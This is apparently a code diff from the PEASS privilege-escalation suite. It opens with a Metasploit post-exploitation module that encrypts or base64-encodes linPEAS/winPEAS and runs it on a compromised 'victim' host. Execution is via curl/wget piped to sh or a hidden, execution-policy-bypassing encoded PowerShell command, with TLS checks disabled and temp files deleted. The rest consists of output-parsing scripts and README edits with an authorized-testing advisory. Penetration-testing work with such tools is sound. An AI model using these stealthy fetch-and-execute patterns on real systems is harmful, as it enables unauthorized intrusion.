OptString.new('SSL', [false, 'Indicate if you want to communicate with https (only used if SRVHOST)', true]),
|
||||
OptString.new('URIPATH', [false, 'URI path to download the script from there (only used if SRVHOST)', "/" + rand(36**4).to_s(36) + ".txt"])
|
||||
])
|
||||
|
||||
@temp_file_path = ""
|
||||
end
|
||||
|
||||
def run
|
||||
ps_var1 = rand(36**5).to_s(36) # Winpeas PS needed variable
|
||||
|
||||
# Load PEASS script in memory
|
||||
peass_script = load_peass()
|
||||
print_good("PEASS script successfully retrieved.")
|
||||
|
||||
# Obfuscate loaded PEASS script
|
||||
if datastore["PASSWORD"].length > 1
|
||||
# If no Windows, check if openssl exists
|
||||
if !session.platform.include?("win")
|
||||
openssl_path = cmd_exec("command -v openssl")
|
||||
raise 'openssl not found on victim, unset the password of the module!' unless openssl_path.include?("openssl")
|
||||
end
|
||||
|
||||
# Get encrypted PEASS script in B64
|
||||
print_status("Encrypting PEASS and encoding it in Base64...")
|
||||
|
||||
# Needed code to decrypt from unix
|
||||
if !session.platform.include?("win")
|
||||
aes_enc_peass_ret = aes_enc_peass(peass_script)
|
||||
peass_script_64 = aes_enc_peass_ret["encrypted"]
|
||||
key_hex = aes_enc_peass_ret["key_hex"]
|
||||
iv_hex = aes_enc_peass_ret["iv_hex"]
|
||||
decode_linpeass_cmd = "openssl aes-256-cbc -base64 -d -K #{key_hex} -iv #{iv_hex}"
|
||||
|
||||
# Needed code to decrypt from Windows
|
||||
else
|
||||
# As the PS function is only capable of decrypting readable strings
|
||||
# in Windows we encrypt the B64 of the binary and then load it in memory
|
||||
# from the initial B64. Then: original -> B64 -> encrypt -> B64
|
||||
aes_enc_peass_ret = aes_enc_peass(Base64.encode64(peass_script)) # Base64 before encrypting it
|
||||
peass_script_64 = aes_enc_peass_ret["encrypted"]
|
||||
key_b64 = aes_enc_peass_ret["key_b64"]
|
||||
iv_b64 = aes_enc_peass_ret["iv_b64"]
|
||||
load_winpeas = get_ps_aes_decr()
|
||||
|
||||
ps_var2 = rand(36**6).to_s(36)
|
||||
load_winpeas += "$#{ps_var2} = DecryptStringFromBytesAes \"#{key_b64}\" \"#{iv_b64}\" $#{ps_var1};"
|
||||
load_winpeas += "$#{rand(36**7).to_s(36)} = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($#{ps_var2}));"
|
||||
end
|
||||
|
||||
else
|
||||
# If no Windows, check if base64 exists
|
||||
if !session.platform.include?("win")
|
||||
base64_path = cmd_exec("command -v base64")
|
||||
raise 'base64 not found on victim, set a 32B length password!' unless base64_path.include?("base64")
|
||||
end
|
||||
|
||||
# Encode PEASS script
|
||||
print_status("Encoding PEASS in Base64...")
|
||||
peass_script_64 = Base64.encode64(peass_script)
|
||||
|
||||
# Needed code to decode it in Unix and Windows
|
||||
decode_linpeass_cmd = "base64 -d"
|
||||
load_winpeas = "$#{rand(36**6).to_s(36)} = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($#{ps_var1}));"
|
||||
|
||||
end
|
||||
|
||||
# Write obfuscated PEASS to a local file
|
||||
file = Tempfile.new('peass_metasploit')
|
||||
file.write(peass_script_64)
|
||||
file.rewind
|
||||
@temp_file_path = file.path
|
||||
|
||||
if datastore["SRVHOST"] == ""
|
||||
# Upload file to victim
|
||||
temp_peass_name = rand(36**5).to_s(36)
|
||||
if datastore["TEMP_DIR"] != ""
|
||||
temp_path = datastore["TEMP_DIR"]
|
||||
if temp_path[0] == "/"
|
||||
temp_path = temp_path + "/#{temp_peass_name}"
|
||||
else
|
||||
temp_path = temp_path + "\\#{temp_peass_name}"
|
||||
end
|
||||
|
||||
elsif session.platform.include?("win")
|
||||
temp_path = "C:\\Windows\\System32\\spool\\drivers\\color\\#{temp_peass_name}"
|
||||
else
|
||||
temp_path = "/tmp/#{temp_peass_name}"
|
||||
end
|
||||
|
||||
print_status("Uploading obfuscated peass to #{temp_path}...")
|
||||
upload_file(temp_path, file.path)
|
||||
print_good("Uploaded")
|
||||
|
||||
# Start the cmd, prepare to read from the uploaded file
|
||||
if session.platform.include?("win")
|
||||
cmd = "$ProgressPreference = 'SilentlyContinue'; $#{ps_var1} = Get-Content -Path #{temp_path};"
|
||||
last_cmd = "del #{temp_path};"
|
||||
else
|
||||
cmd = "cat #{temp_path}"
|
||||
last_cmd = " ; rm #{temp_path}"
|
||||
end
|
||||
|
||||
# Instead of writing the file to disk, download it from HTTP
|
||||
else
|
||||
last_cmd = ""
|
||||
# Start HTTP server
|
||||
start_service()
|
||||
|
||||
http_protocol = datastore["SSL"] ? "https://" : "http://"
|
||||
http_ip = datastore["SRVHOST"]
|
||||
http_port = ":#{datastore['SRVPORT']}"
|
||||
http_path = datastore["URIPATH"]
|
||||
url_download_peass = http_protocol + http_ip + http_port + http_path
|
||||
print_good("Listening in #{url_download_peass}")
|
||||
|
||||
# Configure the download of the script in Windows
|
||||
if session.platform.include?("win")
|
||||
cmd = "$ProgressPreference = 'SilentlyContinue';"
|
||||
cmd += get_bypass_tls_cert()
|
||||
cmd += "$#{ps_var1} = Invoke-WebRequest \"#{url_download_peass}\" -UseBasicParsing | Select-Object -ExpandProperty Content;"
|
||||
|
||||
# Configure the download of the script in Unix
|
||||
else
|
||||
cmd = "curl -k -s \"#{url_download_peass}\""
|
||||
curl_path = cmd_exec("command -v curl")
|
||||
if ! curl_path.include?("curl")
|
||||
cmd = "wget --no-check-certificate -q -O - \"#{url_download_peass}\""
|
||||
wget_path = cmd_exec("command -v wget")
|
||||
raise 'Neither curl nor wget were found in victim, unset the SRVHOST option!' unless wget_path.include?("wget")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Run PEASS script
|
||||
begin
|
||||
tmpout = "\n"
|
||||
print_status "Running PEASS..."
|
||||
|
||||
# If Windows, suppose Winpeas was loaded
|
||||
if session.platform.include?("win")
|
||||
cmd += load_winpeas
|
||||
cmd += "$a = [winPEAS.Program]::Main(\"#{datastore['PARAMETERS']}\");"
|
||||
cmd += last_cmd
|
||||
# Transform to Base64 in UTF-16LE format
|
||||
cmd_utf16le = cmd.encode("utf-16le")
|
||||
cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\r?\n/, "")
|
||||
|
||||
tmpout << cmd_exec("powershell.exe", args="-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}", time_out=datastore["TIMEOUT"].to_i)
|
||||
|
||||
# If Unix, then, suppose linpeas was loaded
|
||||
else
|
||||
cmd += "| #{decode_linpeass_cmd}"
|
||||
cmd += "| sh -s -- #{datastore['PARAMETERS']}"
|
||||
cmd += last_cmd
|
||||
tmpout << cmd_exec(cmd, args=nil, time_out=datastore["TIMEOUT"].to_i)
|
||||
end
|
||||
|
||||
print "\n#{tmpout}\n\n"
|
||||
command_log = store_loot("PEASS", "text/plain", session, tmpout, "peass.txt", "PEASS script execution")
|
||||
print_good("PEASS output saved to: #{command_log}")
|
||||
|
||||
rescue ::Exception => e
|
||||
print_bad("Error Running PEASS: #{e.class} #{e}")
|
||||
end
|
||||
|
||||
# Close and delete the temporary file
|
||||
file.close
|
||||
file.unlink
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("HTTP request received")
|
||||
send_response(cli, File.read(@temp_file_path), {'Content-Type'=>'text/plain'})
|
||||
print_good("PEASS script sent")
|
||||
end
|
||||
|
||||
def fetch(uri_str, limit = 10)
|
||||
raise 'Invalid URL, too many HTTP redirects' if limit == 0
|
||||
response = Net::HTTP.get_response(URI(uri_str))
|
||||
case response
|
||||
when Net::HTTPSuccess then
|
||||
response
|
||||
when Net::HTTPRedirection then
|
||||
location = response['location']
|
||||
fetch(location, limit - 1)
|
||||
else
|
||||
response.value
|
||||
end
|
||||
end
|
||||
|
||||
def load_peass
|
||||
# Load the PEASS script from a local file or from Internet
|
||||
peass_script = ""
|
||||
url_peass = datastore['PEASS_URL']
|
||||
|
||||
if url_peass.include?("http://") || url_peass.include?("https://")
|
||||
target = URI.parse url_peass
|
||||
raise 'Invalid URL' unless target.scheme =~ /https?/
|
||||
raise 'Invalid URL' if target.host.to_s.eql? ''
|
||||
|
||||
res = fetch(target)
|
||||
peass_script = res.body
|
||||
|
||||
raise "Something failed downloading PEASS script from #{url_peass}" if peass_script.length < 500
|
||||
|
||||
else
|
||||
raise "PEASS local file (#{url_peass}) does not exist!" unless ::File.exist?(url_peass)
|
||||
peass_script = File.read(url_peass)
|
||||
raise "Something falied reading PEASS script from #{url_peass}" if peass_script.length < 500
|
||||
end
|
||||
|
||||
return peass_script
|
||||
end
|
||||
|
||||
def aes_enc_peass(peass_script)
|
||||
# Encrypt the PEASS script with AES (CBC Mode)
|
||||
key = datastore["PASSWORD"]
|
||||
iv = OpenSSL::Cipher::Cipher.new('aes-256-cbc').random_iv
|
||||
|
||||
c = OpenSSL::Cipher.new('aes-256-cbc').encrypt
|
||||
c.iv = iv
|
||||
c.key = key
|
||||
encrypted = c.update(peass_script) + c.final
|
||||
encrypted = [encrypted].pack('m')
|
||||
|
||||
return {
|
||||
"encrypted" => encrypted,
|
||||
"key_hex" => key.unpack('H*').first,
|
||||
"key_b64" => Base64.encode64(key).strip,
|
||||
"iv_hex" => iv.unpack('H*').first,
|
||||
"iv_b64" => Base64.encode64(iv).strip
|
||||
}
|
||||
end
|
||||
|
||||
def get_bypass_tls_cert
|
||||
return'
|
||||
# Code to accept any certificate in the https connection from https://stackoverflow.com/questions/11696944/powershell-v3-invoke-webrequest-https-error
|
||||
add-type @"
|
||||
using System.Net;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
public class TrustAllCertsPolicy : ICertificatePolicy {
|
||||
public bool CheckValidationResult(
|
||||
ServicePoint srvPoint, X509Certificate certificate,
|
||||
WebRequest request, int certificateProblem) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
"@
|
||||
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy;
|
||||
'
|
||||
end
|
||||
|
||||
def get_ps_aes_decr
|
||||
# PS code to decrypt Winpeas
|
||||
return '
|
||||
# Taken from https://gist.github.com/Darryl-G/d1039c2407262cb6d735c3e7a730ee86
|
||||
function DecryptStringFromBytesAes([String] $key, [String] $iv, [String] $encrypted) {
|
||||
[byte[]] $encrypted = [Convert]::FromBase64String($encrypted);
|
||||
[byte[]] $key = [Convert]::FromBase64String($key)
|
||||
[byte[]] $iv = [Convert]::FromBase64String($iv)
|
||||
|
||||
# Declare the stream used to encrypt to an in memory
|
||||
# array of bytes.
|
||||
[System.IO.MemoryStream] $msDecrypt
|
||||
|
||||
# Declare the RijndaelManaged object
|
||||
# used to encrypt the data.
|
||||
[System.Security.Cryptography.RijndaelManaged] $aesAlg = new-Object System.Security.Cryptography.RijndaelManaged
|
||||
|
||||
[String] $plainText=""
|
||||
|
||||
try {
|
||||
# Create a RijndaelManaged object
|
||||
# with the specified key and IV.
|
||||
$aesAlg = new-object System.Security.Cryptography.RijndaelManaged
|
||||
$aesAlg.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aesAlg.KeySize = 256
|
||||
$aesAlg.BlockSize = 128
|
||||
$aesAlg.key = $key
|
||||
$aesAlg.IV = $iv
|
||||
|
||||
# Create an encryptor to perform the stream transform.
|
||||
[System.Security.Cryptography.ICryptoTransform] $decryptor = $aesAlg.CreateDecryptor($aesAlg.Key, $aesAlg.IV);
|
||||
|
||||
# Create the streams used for encryption.
|
||||
$msDecrypt = new-Object System.IO.MemoryStream @(,$encrypted)
|
||||
$csDecrypt = new-object System.Security.Cryptography.CryptoStream($msDecrypt, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)
|
||||
$srDecrypt = new-object System.IO.StreamReader($csDecrypt)
|
||||
|
||||
# Write all data to the stream.
|
||||
$plainText = $srDecrypt.ReadToEnd()
|
||||
$srDecrypt.Close()
|
||||
$csDecrypt.Close()
|
||||
$msDecrypt.Close()
|
||||
}
|
||||
finally {
|
||||
# Clear the RijndaelManaged object.
|
||||
if ($aesAlg -ne $null){
|
||||
$aesAlg.Clear()
|
||||
}
|
||||
}
|
||||
|
||||
# Return the Decrypted bytes from the memory stream.
|
||||
return $plainText
|
||||
}
|
||||
'
|
||||
end
|
||||
end
|
||||
@@ -1,14 +1,15 @@
|
||||
# Privilege Escalation Awesome Scripts JSON exporter
|
||||
# Privilege Escalation Awesome Scripts Parsers
|
||||
|
||||
This script allows you to transform the output of linpeas/macpeas/winpeas to JSON.
|
||||
These scripts allows you to transform the output of linpeas/macpeas/winpeas to JSON and then to PDF and HTML.
|
||||
|
||||
```python3
|
||||
python3 peass-parser.py </path/to/executed_peass> </path/to/output_peass.json>
|
||||
python3 peas2json.py </path/to/executed_peass.out> </path/to/peass.json>
|
||||
python3 json2pdf.py </path/to/peass.json> </path/to/peass.pdf>
|
||||
python3 json2html.py </path/to/peass.json> </path/to/peass.html>
|
||||
```
|
||||
|
||||
This script is still in beta version and has been tested only with linpeas output.
|
||||
|
||||
## Format
|
||||
## JSON Format
|
||||
Basically, **each section has**:
|
||||
- Infos (URLs or info about the section)
|
||||
- Text lines (the real text info found in the section, colors included)
|
||||
@@ -37,7 +38,7 @@ There is a **maximun of 3 levels of sections**.
|
||||
}
|
||||
],
|
||||
"infos": [
|
||||
"https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits"
|
||||
"https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
|
||||
]
|
||||
},
|
||||
"infos": []
|
||||
@@ -64,7 +65,7 @@ There is a **maximun of 3 levels of sections**.
|
||||
}
|
||||
],
|
||||
"infos": [
|
||||
"https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits"
|
||||
"https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
|
||||
]
|
||||
},
|
||||
"infos": []
|
||||
@@ -73,6 +74,8 @@ There is a **maximun of 3 levels of sections**.
|
||||
|
||||
There can also be a `<Third level Section Name>`
|
||||
|
||||
If you need to transform several outputs check out https://github.com/mnemonic-re/parsePEASS
|
||||
|
||||
# TODO:
|
||||
|
||||
I'm looking for **someone that could create HTML and PDF reports** from this JSON.
|
||||
- **PRs improving the code and the aspect of the final PDFs and HTMLs are always welcome!**
|
||||
347
parsers/json2html.py
Normal file
347
parsers/json2html.py
Normal file
File diff suppressed because one or more lines are too long
162
parsers/json2pdf.py
Executable file
162
parsers/json2pdf.py
Executable file
@@ -0,0 +1,162 @@
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
import json
|
||||
import html
|
||||
from reportlab.lib.pagesizes import letter
|
||||
from reportlab.platypus import Frame, Paragraph, Spacer, PageBreak,PageTemplate, BaseDocTemplate
|
||||
from reportlab.platypus.tableofcontents import TableOfContents
|
||||
from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle
|
||||
from reportlab.lib.units import cm
|
||||
|
||||
styles = getSampleStyleSheet()
|
||||
text_colors = { "GREEN": "#00DB00", "RED": "#FF0000", "REDYELLOW": "#FFA500", "BLUE": "#0000FF",
|
||||
"DARKGREY": "#5C5C5C", "YELLOW": "#ebeb21", "MAGENTA": "#FF00FF", "CYAN": "#00FFFF", "LIGHT_GREY": "#A6A6A6"}
|
||||
|
||||
# Required to automatically set Page Numbers
|
||||
class PageTemplateWithCount(PageTemplate):
|
||||
def __init__(self, id, frames, **kw):
|
||||
PageTemplate.__init__(self, id, frames, **kw)
|
||||
|
||||
def beforeDrawPage(self, canvas, doc):
|
||||
page_num = canvas.getPageNumber()
|
||||
canvas.drawRightString(10.5*cm, 1*cm, str(page_num))
|
||||
|
||||
# Required to automatically set the Table of Contents
|
||||
class MyDocTemplate(BaseDocTemplate):
|
||||
def __init__(self, filename, **kw):
|
||||
self.allowSplitting = 0
|
||||
BaseDocTemplate.__init__(self, filename, **kw)
|
||||
template = PageTemplateWithCount("normal", [Frame(2.5*cm, 2.5*cm, 15*cm, 25*cm, id='F1')])
|
||||
self.addPageTemplates(template)
|
||||
|
||||
def afterFlowable(self, flowable):
|
||||
if flowable.__class__.__name__ == "Paragraph":
|
||||
text = flowable.getPlainText()
|
||||
style = flowable.style.name
|
||||
if style == "Heading1":
|
||||
self.notify("TOCEntry", (0, text, self.page))
|
||||
if style == "Heading2":
|
||||
self.notify("TOCEntry", (1, text, self.page))
|
||||
if style == "Heading3":
|
||||
self.notify("TOCEntry", (2, text, self.page))
|
||||
|
||||
|
||||
# Poor take at dynamicly generating styles depending on depth(?)
|
||||
def get_level_styles(level):
|
||||
global styles
|
||||
indent_value = 10 * (level - 1);
|
||||
# Overriding some default stylings
|
||||
level_styles = {
|
||||
"title": ParagraphStyle(
|
||||
**dict(styles[f"Heading{level}"].__dict__,
|
||||
**{ "leftIndent": indent_value })),
|
||||
"text": ParagraphStyle(
|
||||
**dict(styles["Code"].__dict__,
|
||||
**{ "backColor": "#F0F0F0",
|
||||
"borderPadding": 5, "borderWidth": 1,
|
||||
"borderColor": "black", "borderRadius": 5,
|
||||
"leftIndent": 5 + indent_value})),
|
||||
"info": ParagraphStyle(
|
||||
**dict(styles["Italic"].__dict__,
|
||||
**{ "leftIndent": indent_value })),
|
||||
}
|
||||
return level_styles
|
||||
|
||||
def get_colors_by_text(colors):
|
||||
new_colors = {}
|
||||
for (color, words) in colors.items():
|
||||
for word in words:
|
||||
new_colors[html.escape(word)] = color
|
||||
return new_colors
|
||||
|
||||
def build_main_section(section, title, level=1):
|
||||
styles = get_level_styles(level)
|
||||
has_links = "infos" in section.keys() and len(section["infos"]) > 0
|
||||
has_lines = "lines" in section.keys() and len(section["lines"]) > 1
|
||||
has_children = "sections" in section.keys() and len(section["sections"].keys()) > 0
|
||||
|
||||
# Only display data for Sections with results
|
||||
show_section = has_lines or has_children
|
||||
|
||||
elements = []
|
||||
|
||||
if show_section:
|
||||
elements.append(Paragraph(title, style=styles["title"]))
|
||||
|
||||
# Print info if any
|
||||
if show_section and has_links:
|
||||
for info in section["infos"]:
|
||||
words = info.split()
|
||||
# Join all lines and encode any links that might be present.
|
||||
words = map(lambda word: f'<a href="{word}" color="blue">{word}</a>' if "http" in word else word, words)
|
||||
words = " ".join(words)
|
||||
elements.append(Paragraph(words, style=styles["info"] ))
|
||||
|
||||
# Print lines if any
|
||||
if "lines" in section.keys() and len(section["lines"]) > 1:
|
||||
colors_by_line = list(map(lambda x: x["colors"], section["lines"]))
|
||||
lines = list(map(lambda x: html.escape(x["clean_text"]), section["lines"]))
|
||||
for (idx, line) in enumerate(lines):
|
||||
colors = colors_by_line[idx]
|
||||
colored_text = get_colors_by_text(colors)
|
||||
colored_line = line
|
||||
for (text, color) in colored_text.items():
|
||||
if color == "REDYELLOW":
|
||||
colored_line = colored_line.replace(text, f'<font color="{text_colors[color]}"><b>{text}</b></font>')
|
||||
else:
|
||||
colored_line = colored_line.replace(text, f'<font color="{text_colors[color]}">{text}</font>')
|
||||
lines[idx] = colored_line
|
||||
elements.append(Spacer(0, 10))
|
||||
line = "<br/>".join(lines)
|
||||
|
||||
# If it's a top level entry remove the line break caused by an empty "clean_text"
|
||||
if level == 1: line = line[5:]
|
||||
elements.append(Paragraph(line, style=styles["text"]))
|
||||
|
||||
|
||||
# Print child sections
|
||||
if has_children:
|
||||
for child_title in section["sections"].keys():
|
||||
element_list = build_main_section(section["sections"][child_title], child_title, level + 1)
|
||||
elements.extend(element_list)
|
||||
|
||||
# Add spacing at the end of section. The deeper the level the smaller the spacing.
|
||||
if show_section:
|
||||
elements.append(Spacer(1, 40 - (10 * level)))
|
||||
|
||||
return elements
|
||||
|
||||
|
||||
def main():
|
||||
with open(JSON_PATH) as file:
|
||||
# Read and parse JSON file
|
||||
data = json.loads(file.read())
|
||||
|
||||
# Default pdf values
|
||||
doc = MyDocTemplate(PDF_PATH)
|
||||
toc = TableOfContents()
|
||||
toc.levelStyles = [
|
||||
ParagraphStyle(name = "Heading1", fontSize = 14, leading=16),
|
||||
ParagraphStyle(name = "Heading2", fontSize = 12, leading=14, leftIndent = 10),
|
||||
ParagraphStyle(name = "Heading3", fontSize = 10, leading=12, leftIndent = 20),
|
||||
]
|
||||
|
||||
elements = [Paragraph("PEAS Report", style=styles["Title"]), Spacer(0, 30), toc, PageBreak()]
|
||||
|
||||
# Iterate over all top level sections and build their elements.
|
||||
for title in data.keys():
|
||||
element_list = build_main_section(data[title], title)
|
||||
elements.extend(element_list)
|
||||
|
||||
doc.multiBuild(elements)
|
||||
|
||||
# Start execution
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
JSON_PATH = sys.argv[1]
|
||||
PDF_PATH = sys.argv[2]
|
||||
except IndexError as err:
|
||||
print("Error: Please pass the peas.json file and the path to save the pdf\njson2pdf.py <json_file> <pdf_file.pdf>")
|
||||
sys.exit(1)
|
||||
|
||||
main()
|
||||
@@ -5,7 +5,7 @@ import re
|
||||
import json
|
||||
|
||||
# Pattern to identify main section titles
|
||||
TITLE1_PATTERN = r"════════════════════════════════════╣"
|
||||
TITLE1_PATTERN = r"══════════════╣" # The size of the first pattern varies, but at least should be that large
|
||||
TITLE2_PATTERN = r"╔══════════╣"
|
||||
TITLE3_PATTERN = r"══╣"
|
||||
INFO_PATTERN = r"╚ "
|
||||
@@ -14,15 +14,15 @@ TITLE_CHARS = ['═', '╔', '╣', '╚']
|
||||
# Patterns for colors
|
||||
## The order is important, the first string colored with a color will be the one selected (the same string cannot be colored with different colors)
|
||||
COLORS = {
|
||||
"REDYELLOW": [r"\x1b\[1;31;103m"],
|
||||
"RED": [r"\x1b\[1;31m"],
|
||||
"GREEN": [r"\x1b\[1;32m"],
|
||||
"YELLOW": [r"\x1b\[1;33m"],
|
||||
"BLUE": [r"\x1b\[1;34m"],
|
||||
"MAGENTA": [r"\x1b\[1;95m", r"\x1b\[1;35m"],
|
||||
"CYAN": [r"\x1b\[1;36m", r"\x1b\[1;96m"],
|
||||
"LIGHT_GREY": [r"\x1b\[1;37m"],
|
||||
"DARKGREY": [r"\x1b\[1;90m"],
|
||||
"REDYELLOW": ['\x1b[1;31;103m'],
|
||||
"RED": ['\x1b[1;31m'],
|
||||
"GREEN": ['\x1b[1;32m'],
|
||||
"YELLOW": ['\x1b[1;33m'],
|
||||
"BLUE": ['\x1b[1;34m'],
|
||||
"MAGENTA": ['\x1b[1;95m', '\x1b[1;35m'],
|
||||
"CYAN": ['\x1b[1;36m', '\x1b[1;96m'],
|
||||
"LIGHT_GREY": ['\x1b[1;37m'],
|
||||
"DARKGREY": ['\x1b[1;90m'],
|
||||
}
|
||||
|
||||
|
||||
@@ -52,11 +52,23 @@ def get_colors(line: str) -> dict:
|
||||
for c,regexs in COLORS.items():
|
||||
colors[c] = []
|
||||
for reg in regexs:
|
||||
for re_found in re.findall(reg+"(.+?)\x1b|$", line):
|
||||
re_found = clean_colors(re_found.strip())
|
||||
#Avoid having the same color for the same string
|
||||
if re_found and not any(re_found in values for values in colors.values()):
|
||||
colors[c].append(re_found)
|
||||
split_color = line.split(reg)
|
||||
|
||||
# Start from the index 1 as the index 0 isn't colored
|
||||
if split_color and len(split_color) > 1:
|
||||
split_color = split_color[1:]
|
||||
|
||||
# For each potential color, find the string before any possible color terminatio
|
||||
for potential_color_str in split_color:
|
||||
color_str1 = potential_color_str.split('\x1b')[0]
|
||||
color_str2 = potential_color_str.split("\[0")[0]
|
||||
color_str = color_str1 if len(color_str1) < len(color_str2) else color_str2
|
||||
|
||||
if color_str:
|
||||
color_str = clean_colors(color_str.strip())
|
||||
#Avoid having the same color for the same string
|
||||
if color_str and not any(color_str in values for values in colors.values()):
|
||||
colors[c].append(color_str)
|
||||
|
||||
if not colors[c]:
|
||||
del colors[c]
|
||||
@@ -75,10 +87,10 @@ def clean_title(line: str) -> str:
|
||||
def clean_colors(line: str) -> str:
|
||||
"""Given a line clean the colors inside of it"""
|
||||
|
||||
for reg in re.findall(r'\x1b[^ ]+\dm', line):
|
||||
for reg in re.findall(r'\x1b\[[^a-zA-Z]+\dm', line):
|
||||
line = line.replace(reg,"")
|
||||
|
||||
line = line.replace('\x1b',"") #Sometimes that byte stays
|
||||
line = line.replace('\x1b',"").replace("[0m", "").replace("[3m", "") #Sometimes that byte stays
|
||||
line = line.strip()
|
||||
return line
|
||||
|
||||
@@ -94,6 +106,9 @@ def parse_line(line: str):
|
||||
|
||||
global FINAL_JSON, C_SECTION, C_MAIN_SECTION, C_2_SECTION, C_3_SECTION
|
||||
|
||||
if "Cron jobs" in line:
|
||||
a=1
|
||||
|
||||
if is_section(line, TITLE1_PATTERN):
|
||||
title = parse_title(line)
|
||||
FINAL_JSON[title] = { "sections": {}, "lines": [], "infos": [] }
|
||||
@@ -124,13 +139,13 @@ def parse_line(line: str):
|
||||
|
||||
C_SECTION["lines"].append({
|
||||
"raw_text": line,
|
||||
"clean_text": clean_colors(line),
|
||||
"colors": get_colors(line)
|
||||
"colors": get_colors(line),
|
||||
"clean_text": clean_title(clean_colors(line))
|
||||
})
|
||||
|
||||
|
||||
def main():
|
||||
for line in open(OUTPUT_PATH, 'r').readlines():
|
||||
for line in open(OUTPUT_PATH, 'r', encoding="utf8").readlines():
|
||||
line = line.strip()
|
||||
if not line or not clean_colors(line): #Remove empty lines or lines just with colors hex
|
||||
continue
|
||||
@@ -147,7 +162,7 @@ if __name__ == "__main__":
|
||||
OUTPUT_PATH = sys.argv[1]
|
||||
JSON_PATH = sys.argv[2]
|
||||
except IndexError as err:
|
||||
print("Error: Please pass the peas.out file and the path to save the json\n./peas-parser.py <output_file> <json_file.json>")
|
||||
print("Error: Please pass the peas.out file and the path to save the json\npeas2json.py <output_file> <json_file.json>")
|
||||
sys.exit(1)
|
||||
|
||||
main()
|
||||
@@ -2,18 +2,19 @@
|
||||
|
||||

|
||||
|
||||
Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)**
|
||||
Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)**
|
||||
|
||||
Check more **information about how to exploit** found misconfigurations in **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)**
|
||||
Check more **information about how to exploit** found misconfigurations in **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
|
||||
|
||||
## WinPEAS .exe and .bat
|
||||
- [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat)
|
||||
- [Link to WinPEAS C# project (.exe)](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required)
|
||||
## Quick Start
|
||||
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
|
||||
|
||||
## WinPEAS Flavours
|
||||
- [Link to WinPEAS C# .exe project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required)
|
||||
- **Please, read the Readme of that folder to learn how to execute winpeas from memory or how make colors work among other tricks**
|
||||
- [Link to WinPEAS .ps1 project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASps1)
|
||||
- [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat)
|
||||
|
||||
## Please, if this tool has been useful for you consider to donate
|
||||
|
||||
[](https://www.patreon.com/peass)
|
||||
|
||||
## PEASS Style
|
||||
|
||||
@@ -23,8 +24,4 @@ Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/s
|
||||
|
||||
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
||||
|
||||
## License
|
||||
|
||||
MIT License
|
||||
|
||||
By Polop<sup>(TM)</sup>
|
||||
By Polop
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||

|
||||
|
||||
**WinPEAS is a script that searh for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)**
|
||||
**WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
|
||||
|
||||
Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)
|
||||
Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)
|
||||
|
||||
### WinPEAS.bat is a batch script made for Windows systems which don't support WinPEAS.exe (Net.4 required)
|
||||
|
||||
@@ -129,16 +129,9 @@ This is the kind of outpuf that you have to look for when usnig the winPEAS.bat
|
||||
|
||||
[More info about icacls here](https://ss64.com/nt/icacls.html)
|
||||
|
||||
## Please, if this tool has been useful for you consider to donate
|
||||
|
||||
[](https://www.patreon.com/peass)
|
||||
|
||||
## Advisory
|
||||
|
||||
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
||||
|
||||
## License
|
||||
|
||||
MIT License
|
||||
|
||||
By Polop<sup>(TM)</sup>
|
||||
|
||||
@@ -10,6 +10,14 @@ REM Registry scan of other drives besides
|
||||
REM /////true or false
|
||||
SET long=false
|
||||
|
||||
REM Check if the current path contains spaces
|
||||
SET "CurrentFolder=%~dp0"
|
||||
